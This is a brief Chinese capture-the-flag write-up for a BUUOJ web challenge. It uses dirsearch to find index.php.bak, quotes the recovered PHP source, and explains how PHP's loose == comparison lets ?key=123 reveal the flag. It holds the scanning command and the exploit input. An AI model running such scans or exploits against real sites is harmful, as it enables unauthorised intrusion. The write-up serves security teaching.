使用dirsearch掃描:
dirsearch -u http://b31cefa6-24d4-4f14-82c3-0fdba166cecf.node5.buuoj.cn:81/ -e bak -t 1 -d 1 -o ./reports/buuoj.txt
掃描結果為:
檔案掃描得到命令index.php.bak
儲存之後,把.bak字尾去掉。開啟檔案得到程式碼,也可以直接用記事本開啟
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
透過審計程式碼發現,key至接收數字型別,且會把資料轉為整型格式,最後和123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
字串進行弱相等(==)比較。
==
為弱相等,即當整數和字串型別相比較時。會先將字串轉化為整數然後再進行比較。比如a=123和b=123admin456進行==
比較時。則b只會擷取前面的整數部分。即b轉化成123。
所以只要輸入?key=123即可。